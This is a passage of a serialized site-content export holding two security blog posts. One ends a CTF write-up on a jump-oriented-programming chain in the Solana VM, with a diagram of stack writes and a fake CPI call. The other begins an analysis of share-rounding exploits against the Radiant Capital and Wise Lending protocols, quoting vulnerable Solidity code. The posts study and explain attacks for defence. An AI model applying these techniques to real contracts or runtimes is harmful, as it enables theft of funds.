",{"type":22,"tag":80,"props":49477,"children":49480},{"href":49478,"rel":49479},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[84],[49481],{"type":27,"value":49482},"StableInstruction",{"type":27,"value":169},{"type":22,"tag":23,"props":49485,"children":49486},{},[49487],{"type":22,"tag":7959,"props":49488,"children":49490},{"alt":49482,"src":49489},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":22,"tag":6839,"props":49492,"children":49493},{},[49494,49519],{"type":22,"tag":6832,"props":49495,"children":49496},{},[49497,49502,49504,49509,49511,49518],{"type":22,"tag":30,"props":49498,"children":49500},{"className":49499},[],[49501],{"type":27,"value":49354},{"type":27,"value":49503}," points to a slice of ",{"type":22,"tag":30,"props":49505,"children":49507},{"className":49506},[],[49508],{"type":27,"value":49379},{"type":27,"value":49510}," ",{"type":22,"tag":80,"props":49512,"children":49515},{"href":49513,"rel":49514},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[84],[49516],{"type":27,"value":49517},"AccountInfos",{"type":27,"value":231},{"type":22,"tag":6832,"props":49520,"children":49521},{},[49522,49527,49529,49534,49536,49541],{"type":22,"tag":30,"props":49523,"children":49525},{"className":49524},[],[49526],{"type":27,"value":49396},{"type":27,"value":49528}," is a bit trickier, it points to a slice of length ",{"type":22,"tag":30,"props":49530,"children":49532},{"className":49531},[],[49533],{"type":27,"value":49421},{"type":27,"value":49535},", containing slices of ",{"type":22,"tag":30,"props":49537,"children":49539},{"className":49538},[],[49540],{"type":27,"value":7458},{"type":27,"value":231},{"type":22,"tag":23,"props":49543,"children":49544},{},[49545],{"type":22,"tag":7959,"props":49546,"children":49549},{"alt":49547,"src":49548},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":22,"tag":23,"props":49551,"children":49552},{},[49553,49555,49560],{"type":27,"value":49554},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":22,"tag":6961,"props":49556,"children":49557},{},[49558],{"type":27,"value":49559},"future call frames",{"type":27,"value":231},{"type":22,"tag":23,"props":49562,"children":49563},{},[49564,49566,49573],{"type":27,"value":49565},"Now that we have all the parts, all we need is to string it together. The full ",{"type":22,"tag":80,"props":49567,"children":49570},{"href":49568,"rel":49569},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[84],[49571],{"type":27,"value":49572},"reference solution can be found here",{"type":27,"value":231},{"type":22,"tag":23,"props":49575,"children":49576},{},[49577],{"type":27,"value":49578},"Here's a visualization of the final JOP chain.",{"type":22,"tag":91,"props":49580,"children":49582},{"className":47946,"code":49581,"language":47948,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[49583],{"type":22,"tag":30,"props":49584,"children":49585},{"__ignoreMap":7},[49586,49594,49601,49608,49616,49623,49631,49639,49647,49655,49663,49671,49679,49687,49695],{"type":22,"tag":101,"props":49587,"children":49588},{"class":103,"line":104},[49589],{"type":22,"tag":101,"props":49590,"children":49591},{},[49592],{"type":27,"value":49593},"graph BT\n",{"type":22,"tag":101,"props":49595,"children":49596},{"class":103,"line":157},[49597],{"type":22,"tag":101,"props":49598,"children":49599},{},[49600],{"type":27,"value":47968},{"type":22,"tag":101,"props":49602,"children":49603},{"class":103,"line":182},[49604],{"type":22,"tag":101,"props":49605,"children":49606},{},[49607],{"type":27,"value":47976},{"type":22,"tag":101,"props":49609,"children":49610},{"class":103,"line":367},[49611],{"type":22,"tag":101,"props":49612,"children":49613},{},[49614],{"type":27,"value":49615}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":22,"tag":101,"props":49617,"children":49618},{"class":103,"line":398},[49619],{"type":22,"tag":101,"props":49620,"children":49621},{},[49622],{"type":27,"value":47992},{"type":22,"tag":101,"props":49624,"children":49625},{"class":103,"line":428},[49626],{"type":22,"tag":101,"props":49627,"children":49628},{},[49629],{"type":27,"value":49630}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":22,"tag":101,"props":49632,"children":49633},{"class":103,"line":997},[49634],{"type":22,"tag":101,"props":49635,"children":49636},{},[49637],{"type":27,"value":49638}," E --> G[4: process]\n",{"type":22,"tag":101,"props":49640,"children":49641},{"class":103,"line":1032},[49642],{"type":22,"tag":101,"props":49643,"children":49644},{},[49645],{"type":27,"value":49646}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":22,"tag":101,"props":49648,"children":49649},{"class":103,"line":1063},[49650],{"type":22,"tag":101,"props":49651,"children":49652},{},[49653],{"type":27,"value":49654}," G --> I[5: process]\n",{"type":22,"tag":101,"props":49656,"children":49657},{"class":103,"line":1071},[49658],{"type":22,"tag":101,"props":49659,"children":49660},{},[49661],{"type":27,"value":49662}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":22,"tag":101,"props":49664,"children":49665},{"class":103,"line":1110},[49666],{"type":22,"tag":101,"props":49667,"children":49668},{},[49669],{"type":27,"value":49670}," I --> K[6: process]\n",{"type":22,"tag":101,"props":49672,"children":49673},{"class":103,"line":1118},[49674],{"type":22,"tag":101,"props":49675,"children":49676},{},[49677],{"type":27,"value":49678}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":22,"tag":101,"props":49680,"children":49681},{"class":103,"line":1158},[49682],{"type":22,"tag":101,"props":49683,"children":49684},{},[49685],{"type":27,"value":49686}," K --> N[7: process]\n",{"type":22,"tag":101,"props":49688,"children":49689},{"class":103,"line":1166},[49690],{"type":22,"tag":101,"props":49691,"children":49692},{},[49693],{"type":27,"value":49694}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":22,"tag":101,"props":49696,"children":49697},{"class":103,"line":1215},[49698],{"type":22,"tag":101,"props":49699,"children":49700},{},[49701],{"type":27,"value":49702}," N --> O[8: Write 0x4337 to the account]\n",{"type":22,"tag":23,"props":49704,"children":49705},{},[49706,49708,49714],{"type":27,"value":49707},"Small note: ",{"type":22,"tag":30,"props":49709,"children":49711},{"className":49710},[],[49712],{"type":27,"value":49713},"target_r10",{"type":27,"value":49715}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":22,"tag":91,"props":49717,"children":49719},{"className":93,"code":49718,"language":95,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[49720],{"type":22,"tag":30,"props":49721,"children":49722},{"__ignoreMap":7},[49723,49768,49803,49810],{"type":22,"tag":101,"props":49724,"children":49725},{"class":103,"line":104},[49726,49730,49735,49739,49744,49748,49752,49756,49760,49764],{"type":22,"tag":101,"props":49727,"children":49728},{"style":108},[49729],{"type":27,"value":24258},{"type":22,"tag":101,"props":49731,"children":49732},{"style":926},[49733],{"type":27,"value":49734}," call_frame_addr",{"type":22,"tag":101,"props":49736,"children":49737},{"style":120},[49738],{"type":27,"value":980},{"type":22,"tag":101,"props":49740,"children":49741},{"style":126},[49742],{"type":27,"value":49743},"depth",{"type":22,"tag":101,"props":49745,"children":49746},{"style":166},[49747],{"type":27,"value":169},{"type":22,"tag":101,"props":49749,"children":49750},{"style":114},[49751],{"type":27,"value":174},{"type":22,"tag":101,"props":49753,"children":49754},{"style":120},[49755],{"type":27,"value":901},{"type":22,"tag":101,"props":49757,"children":49758},{"style":166},[49759],{"type":27,"value":17759},{"type":22,"tag":101,"props":49761,"children":49762},{"style":114},[49763],{"type":27,"value":174},{"type":22,"tag":101,"props":49765,"children":49766},{"style":120},[49767],{"type":27,"value":154},{"type":22,"tag":101,"props":49769,"children":49770},{"class":103,"line":157},[49771,49776,49780,49785,49789,49794,49798],{"type":22,"tag":101,"props":49772,"children":49773},{"style":1544},[49774],{"type":27,"value":49775}," 0x200000000",{"type":22,"tag":101,"props":49777,"children":49778},{"style":166},[49779],{"type":27,"value":3643},{"type":22,"tag":101,"props":49781,"children":49782},{"style":1544},[49783],{"type":27,"value":49784}," 0x2000",{"type":22,"tag":101,"props":49786,"children":49787},{"style":166},[49788],{"type":27,"value":13822},{"type":22,"tag":101,"props":49790,"children":49791},{"style":126},[49792],{"type":27,"value":49793}," depth",{"type":22,"tag":101,"props":49795,"children":49796},{"style":166},[49797],{"type":27,"value":3643},{"type":22,"tag":101,"props":49799,"children":49800},{"style":1544},[49801],{"type":27,"value":49802}," 0x1000\n",{"type":22,"tag":101,"props":49804,"children":49805},{"class":103,"line":182},[49806],{"type":22,"tag":101,"props":49807,"children":49808},{"style":120},[49809],{"type":27,"value":188},{"type":22,"tag":101,"props":49811,"children":49812},{"class":103,"line":367},[49813],{"type":22,"tag":101,"props":49814,"children":49815},{"style":2215},[49816],{"type":27,"value":49817},"// call_frame_addr(8) = 0x200011000\n",{"type":22,"tag":53,"props":49819,"children":49820},{"id":6776},[49821],{"type":27,"value":6779},{"type":22,"tag":23,"props":49823,"children":49824},{},[49825,49827,49834],{"type":27,"value":49826},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":22,"tag":80,"props":49828,"children":49831},{"href":49829,"rel":49830},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[84],[49832],{"type":27,"value":49833},"they do exist",{"type":27,"value":231},{"type":22,"tag":23,"props":49836,"children":49837},{},[49838],{"type":27,"value":49839},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":22,"tag":23,"props":49841,"children":49842},{},[49843,49845,49850],{"type":27,"value":49844},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":22,"tag":6961,"props":49846,"children":49847},{},[49848],{"type":27,"value":49849},"entire",{"type":27,"value":49851}," runtime.",{"type":22,"tag":6891,"props":49853,"children":49854},{},[49855],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":49857},[49858,49862,49863,49866],{"id":22946,"depth":157,"text":22949,"children":49859},[49860,49861],{"id":44536,"depth":182,"text":44539},{"id":45855,"depth":182,"text":45858},{"id":47093,"depth":157,"text":47096},{"id":47928,"depth":157,"text":47931,"children":49864},[49865],{"id":48042,"depth":182,"text":48045},{"id":6776,"depth":157,"text":6779},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":49871,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":49872,"description":49873,"author":49874,"image":49875,"date":49877,"isFeatured":15,"onBlogPage":15,"body":49878,"_type":6912,"_id":51024,"_source":6914,"_file":51025,"_stem":51026,"_extension":6917},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[9763],{"src":49876},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":19,"children":49879,"toc":51013},[49880,49884,49912,49917,49930,49935,49941,49946,49951,49956,49961,49974,49986,50006,50026,50031,50036,50054,50060,50065,50071,50085,50098,50103,50109,50123,50128,50150,50383,50388,50393,50406,50646,50656,50661,50667,50672,50677,50710,50715,50726,50732,50737,50751,50879,50893,50969,50974,50985,50990,50995,50999,51004,51009],{"type":22,"tag":53,"props":49881,"children":49882},{"id":33014},[49883],{"type":27,"value":33017},{"type":22,"tag":23,"props":49885,"children":49886},{},[49887,49889,49896,49897,49904,49906,49911],{"type":27,"value":49888},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":22,"tag":80,"props":49890,"children":49893},{"href":49891,"rel":49892},"https://neodyme.io/de/blog/lending_disclosure",[84],[49894],{"type":27,"value":49895},"fast",{"type":27,"value":758},{"type":22,"tag":80,"props":49898,"children":49901},{"href":49899,"rel":49900},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[84],[49902],{"type":27,"value":49903},"cheap",{"type":27,"value":49905}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":22,"tag":6961,"props":49907,"children":49908},{},[49909],{"type":27,"value":49910},"Most people haven't considered what happens when shares are worth a lot",{"type":27,"value":231},{"type":22,"tag":23,"props":49913,"children":49914},{},[49915],{"type":27,"value":49916},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":22,"tag":6828,"props":49918,"children":49919},{},[49920,49925],{"type":22,"tag":6832,"props":49921,"children":49922},{},[49923],{"type":27,"value":49924},"Inflate share value (token to share conversion rate)",{"type":22,"tag":6832,"props":49926,"children":49927},{},[49928],{"type":27,"value":49929},"Exploit rounding bug",{"type":22,"tag":23,"props":49931,"children":49932},{},[49933],{"type":27,"value":49934},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":22,"tag":53,"props":49936,"children":49938},{"id":49937},"model",[49939],{"type":27,"value":49940},"Model",{"type":22,"tag":23,"props":49942,"children":49943},{},[49944],{"type":27,"value":49945},"Before we dive in, there's some helpful background information we'll share first.",{"type":22,"tag":23,"props":49947,"children":49948},{},[49949],{"type":27,"value":49950},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":22,"tag":23,"props":49952,"children":49953},{},[49954],{"type":27,"value":49955},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":22,"tag":23,"props":49957,"children":49958},{},[49959],{"type":27,"value":49960},"This question is more complex than it may appear. Let's walk through an example.",{"type":22,"tag":23,"props":49962,"children":49963},{},[49964,49966,49972],{"type":27,"value":49965},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":22,"tag":30,"props":49967,"children":49969},{"className":49968},[],[49970],{"type":27,"value":49971},"1000:1000",{"type":27,"value":49973}," (1000 tokens to 1000 shares).",{"type":22,"tag":23,"props":49975,"children":49976},{},[49977,49979,49985],{"type":27,"value":49978},"After accruing fees, the pool gains one token for a new ratio of ",{"type":22,"tag":30,"props":49980,"children":49982},{"className":49981},[],[49983],{"type":27,"value":49984},"1001:1000",{"type":27,"value":231},{"type":22,"tag":23,"props":49987,"children":49988},{},[49989,49991,49997,49999,50004],{"type":27,"value":49990},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":22,"tag":30,"props":49992,"children":49994},{"className":49993},[],[49995],{"type":27,"value":49996},"1001/1000*999 = 999.999",{"type":27,"value":49998},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":22,"tag":6961,"props":50000,"children":50001},{},[50002],{"type":27,"value":50003},"down",{"type":27,"value":50005}," against the user.",{"type":22,"tag":23,"props":50007,"children":50008},{},[50009,50011,50017,50019,50025],{"type":27,"value":50010},"If we give the user 999 tokens, the new pool state is ",{"type":22,"tag":30,"props":50012,"children":50014},{"className":50013},[],[50015],{"type":27,"value":50016},"2:1",{"type":27,"value":50018},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":22,"tag":30,"props":50020,"children":50022},{"className":50021},[],[50023],{"type":27,"value":50024},"3:1",{"type":27,"value":231},{"type":22,"tag":23,"props":50027,"children":50028},{},[50029],{"type":27,"value":50030},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":22,"tag":23,"props":50032,"children":50033},{},[50034],{"type":27,"value":50035},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":22,"tag":6828,"props":50037,"children":50038},{},[50039,50044,50049],{"type":22,"tag":6832,"props":50040,"children":50041},{},[50042],{"type":27,"value":50043},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":22,"tag":6832,"props":50045,"children":50046},{},[50047],{"type":27,"value":50048},"When you withdraw, are you withdrawing shares or tokens?",{"type":22,"tag":6832,"props":50050,"children":50051},{},[50052],{"type":27,"value":50053},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":22,"tag":53,"props":50055,"children":50057},{"id":50056},"decisions",[50058],{"type":27,"value":50059},"Decisions",{"type":22,"tag":23,"props":50061,"children":50062},{},[50063],{"type":27,"value":50064},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":22,"tag":1760,"props":50066,"children":50068},{"id":50067},"radiant-capital",[50069],{"type":27,"value":50070},"Radiant Capital",{"type":22,"tag":23,"props":50072,"children":50073},{},[50074,50076,50083],{"type":27,"value":50075},"Radiant Capital was ",{"type":22,"tag":80,"props":50077,"children":50080},{"href":50078,"rel":50079},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[84],[50081],{"type":27,"value":50082},"hacked on Jan 2nd",{"type":27,"value":50084}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":22,"tag":23,"props":50086,"children":50087},{},[50088,50090,50097],{"type":27,"value":50089},"The exploit is relatively straightforward and ",{"type":22,"tag":80,"props":50091,"children":50094},{"href":50092,"rel":50093},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[84],[50095],{"type":27,"value":50096},"has already been covered previously",{"type":27,"value":231},{"type":22,"tag":23,"props":50099,"children":50100},{},[50101],{"type":27,"value":50102},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":22,"tag":1760,"props":50104,"children":50106},{"id":50105},"wise-lending",[50107],{"type":27,"value":50108},"Wise Lending",{"type":22,"tag":23,"props":50110,"children":50111},{},[50112,50114,50121],{"type":27,"value":50113},"Wise Lending was ",{"type":22,"tag":80,"props":50115,"children":50118},{"href":50116,"rel":50117},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[84],[50119],{"type":27,"value":50120},"hacked on January 13th",{"type":27,"value":50122}," for just under $460,000.",{"type":22,"tag":23,"props":50124,"children":50125},{},[50126],{"type":27,"value":50127},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":22,"tag":23,"props":50129,"children":50130},{},[50131,50133,50140,50142,50149],{"type":27,"value":50132},"This is ",{"type":22,"tag":80,"props":50134,"children":50137},{"href":50135,"rel":50136},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[84],[50138],{"type":27,"value":50139},"the code responsible",{"type":27,"value":50141}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":22,"tag":80,"props":50143,"children":50146},{"href":50144,"rel":50145},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[84],[50147],{"type":27,"value":50148},"no way to atomically self-bankrupt",{"type":27,"value":231},{"type":22,"tag":91,"props":50151,"children":50153},{"className":8520,"code":50152,"language":8519,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert ResultsInBadDebt();\n}\n",[50154],{"type":22,"tag":30,"props":50155,"children":50156},{"__ignoreMap":7},[50157,50188,50196,50204,50211,50233,50246,50253,50274,50304,50316,50328,50335,50359,50376],{"type":22,"tag":101,"props":50158,"children":50159},{"class":103,"line":104},[50160,50165,50170,50174,50179,50184],{"type":22,"tag":101,"props":50161,"children":50162},{"style":114},[50163],{"type":27,"value":50164},"uint256",{"type":22,"tag":101,"props":50166,"children":50167},{"style":120},[50168],{"type":27,"value":50169}," withdrawValue ",{"type":22,"tag":101,"props":50171,"children":50172},{"style":166},[50173],{"type":27,"value":1511},{"type":22,"tag":101,"props":50175,"children":50176},{"style":120},[50177],{"type":27,"value":50178}," WISE_ORACLE.",{"type":22,"tag":101,"props":50180,"children":50181},{"style":926},[50182],{"type":27,"value":50183},"getTokensInETH",{"type":22,"tag":101,"props":50185,"children":50186},{"style":120},[50187],{"type":27,"value":1850},{"type":22,"tag":101,"props":50189,"children":50190},{"class":103,"line":157},[50191],{"type":22,"tag":101,"props":50192,"children":50193},{"style":120},[50194],{"type":27,"value":50195}," _poolToken,\n",{"type":22,"tag":101,"props":50197,"children":50198},{"class":103,"line":182},[50199],{"type":22,"tag":101,"props":50200,"children":50201},{"style":120},[50202],{"type":27,"value":50203}," _amount\n",{"type":22,"tag":101,"props":50205,"children":50206},{"class":103,"line":367},[50207],{"type":22,"tag":101,"props":50208,"children":50209},{"style":120},[50210],{"type":27,"value":2510},{"type":22,"tag":101,"props":50212,"children":50213},{"class":103,"line":398},[50214,50218,50223,50228],{"type":22,"tag":101,"props":50215,"children":50216},{"style":166},[50217],{"type":27,"value":21559},{"type":22,"tag":101,"props":50219,"children":50220},{"style":120},[50221],{"type":27,"value":50222}," WISE_LENDING.",{"type":22,"tag":101,"props":50224,"children":50225},{"style":926},[50226],{"type":27,"value":50227},"lendingPoolData",{"type":22,"tag":101,"props":50229,"children":50230},{"style":120},[50231],{"type":27,"value":50232},"(_poolToken).collateralFactor\n",{"type":22,"tag":101,"props":50234,"children":50235},{"class":103,"line":428},[50236,50241],{"type":22,"tag":101,"props":50237,"children":50238},{"style":166},[50239],{"type":27,"value":50240}," /",{"type":22,"tag":101,"props":50242,"children":50243},{"style":120},[50244],{"type":27,"value":50245}," PRECISION_FACTOR_E18;\n",{"type":22,"tag":101,"props":50247,"children":50248},{"class":103,"line":997},[50249],{"type":22,"tag":101,"props":50250,"children":50251},{"emptyLinePlaceholder":15},[50252],{"type":27,"value":1581},{"type":22,"tag":101,"props":50254,"children":50255},{"class":103,"line":1032},[50256,50260,50265,50269],{"type":22,"tag":101,"props":50257,"children":50258},{"style":114},[50259],{"type":27,"value":33682},{"type":22,"tag":101,"props":50261,"children":50262},{"style":120},[50263],{"type":27,"value":50264}," state ",{"type":22,"tag":101,"props":50266,"children":50267},{"style":166},[50268],{"type":27,"value":1511},{"type":22,"tag":101,"props":50270,"children":50271},{"style":120},[50272],{"type":27,"value":50273}," borrowPercentageCap\n",{"type":22,"tag":101,"props":50275,"children":50276},{"class":103,"line":1063},[50277,50281,50285,50290,50295,50299],{"type":22,"tag":101,"props":50278,"children":50279},{"style":166},[50280],{"type":27,"value":21559},{"type":22,"tag":101,"props":50282,"children":50283},{"style":120},[50284],{"type":27,"value":3603},{"type":22,"tag":101,"props":50286,"children":50287},{"style":926},[50288],{"type":27,"value":50289},"overallETHCollateralsWeighted",{"type":22,"tag":101,"props":50291,"children":50292},{"style":120},[50293],{"type":27,"value":50294},"(_nftId) ",{"type":22,"tag":101,"props":50296,"children":50297},{"style":166},[50298],{"type":27,"value":8372},{"type":22,"tag":101,"props":50300,"children":50301},{"style":120},[50302],{"type":27,"value":50303}," withdrawValue)\n",{"type":22,"tag":101,"props":50305,"children":50306},{"class":103,"line":1071},[50307,50311],{"type":22,"tag":101,"props":50308,"children":50309},{"style":166},[50310],{"type":27,"value":50240},{"type":22,"tag":101,"props":50312,"children":50313},{"style":120},[50314],{"type":27,"value":50315}," PRECISION_FACTOR_E18\n",{"type":22,"tag":101,"props":50317,"children":50318},{"class":103,"line":1110},[50319,50323],{"type":22,"tag":101,"props":50320,"children":50321},{"style":166},[50322],{"type":27,"value":36442},{"type":22,"tag":101,"props":50324,"children":50325},{"style":120},[50326],{"type":27,"value":50327}," borrowAmount;\n",{"type":22,"tag":101,"props":50329,"children":50330},{"class":103,"line":1118},[50331],{"type":22,"tag":101,"props":50332,"children":50333},{"emptyLinePlaceholder":15},[50334],{"type":27,"value":1581},{"type":22,"tag":101,"props":50336,"children":50337},{"class":103,"line":1158},[50338,50342,50347,50351,50355],{"type":22,"tag":101,"props":50339,"children":50340},{"style":3595},[50341],{"type":27,"value":19578},{"type":22,"tag":101,"props":50343,"children":50344},{"style":120},[50345],{"type":27,"value":50346}," (state ",{"type":22,"tag":101,"props":50348,"children":50349},{"style":166},[50350],{"type":27,"value":4340},{"type":22,"tag":101,"props":50352,"children":50353},{"style":108},[50354],{"type":27,"value":16473},{"type":22,"tag":101,"props":50356,"children":50357},{"style":120},[50358],{"type":27,"value":1463},{"type":22,"tag":101,"props":50360,"children":50361},{"class":103,"line":1166},[50362,50367,50372],{"type":22,"tag":101,"props":50363,"children":50364},{"style":3595},[50365],{"type":27,"value":50366}," revert",{"type":22,"tag":101,"props":50368,"children":50369},{"style":926},[50370],{"type":27,"value":50371}," ResultsInBadDebt",{"type":22,"tag":101,"props":50373,"children":50374},{"style":120},[50375],{"type":27,"value":934},{"type":22,"tag":101,"props":50377,"children":50378},{"class":103,"line":1215},[50379],{"type":22,"tag":101,"props":50380,"children":50381},{"style":120},[50382],{"type":27,"value":188},{"type":22,"tag":23,"props":50384,"children":50385},{},[50386],{"type":27,"value":50387},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":22,"tag":23,"props":50389,"children":50390},{},[50391],{"type":27,"value":50392},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":22,"tag":23,"props":50394,"children":50395},{},[50396,50398,50404],{"type":27,"value":50397},"And indeed, ",{"type":22,"tag":80,"props":50399,"children":50402},{"href":50400,"rel":50401},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[84],[50403],{"type":27,"value":50108},{"type":27,"value":50405}," rounds up the share value.",{"type":22,"tag":91,"props":50407,"children":50409},{"className":8520,"code":50408,"language":8519,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[50410],{"type":22,"tag":30,"props":50411,"children":50412},{"__ignoreMap":7},[50413,50429,50446,50462,50475,50482,50490,50498,50518,50525,50546,50567,50589,50618,50639],{"type":22,"tag":101,"props":50414,"children":50415},{"class":103,"line":104},[50416,50420,50425],{"type":22,"tag":101,"props":50417,"children":50418},{"style":108},[50419],{"type":27,"value":35373},{"type":22,"tag":101,"props":50421,"children":50422},{"style":926},[50423],{"type":27,"value":50424}," _calculateShares",{"type":22,"tag":101,"props":50426,"children":50427},{"style":120},[50428],{"type":27,"value":1850},{"type":22,"tag":101,"props":50430,"children":50431},{"class":103,"line":157},[50432,50437,50442],{"type":22,"tag":101,"props":50433,"children":50434},{"style":114},[50435],{"type":27,"value":50436}," uint256",{"type":22,"tag":101,"props":50438,"children":50439},{"style":126},[50440],{"type":27,"value":50441}," _product",{"type":22,"tag":101,"props":50443,"children":50444},{"style":120},[50445],{"type":27,"value":179},{"type":22,"tag":101,"props":50447,"children":50448},{"class":103,"line":182},[50449,50453,50458],{"type":22,"tag":101,"props":50450,"children":50451},{"style":114},[50452],{"type":27,"value":50436},{"type":22,"tag":101,"props":50454,"children":50455},{"style":126},[50456],{"type":27,"value":50457}," _pseudo",{"type":22,"tag":101,"props":50459,"children":50460},{"style":120},[50461],{"type":27,"value":179},{"type":22,"tag":101,"props":50463,"children":50464},{"class":103,"line":367},[50465,50470],{"type":22,"tag":101,"props":50466,"children":50467},{"style":114},[50468],{"type":27,"value":50469}," bool",{"type":22,"tag":101,"props":50471,"children":50472},{"style":126},[50473],{"type":27,"value":50474}," _maxSharePrice\n",{"type":22,"tag":101,"props":50476,"children":50477},{"class":103,"line":398},[50478],{"type":22,"tag":101,"props":50479,"children":50480},{"style":120},[50481],{"type":27,"value":2510},{"type":22,"tag":101,"props":50483,"children":50484},{"class":103,"line":428},[50485],{"type":22,"tag":101,"props":50486,"children":50487},{"style":108},[50488],{"type":27,"value":50489}," private\n",{"type":22,"tag":101,"props":50491,"children":50492},{"class":103,"line":997},[50493],{"type":22,"tag":101,"props":50494,"children":50495},{"style":108},[50496],{"type":27,"value":50497}," pure\n",{"type":22,"tag":101,"props":50499,"children":50500},{"class":103,"line":1032},[50501,50506,50510,50514],{"type":22,"tag":101,"props":50502,"children":50503},{"style":3595},[50504],{"type":27,"value":50505}," 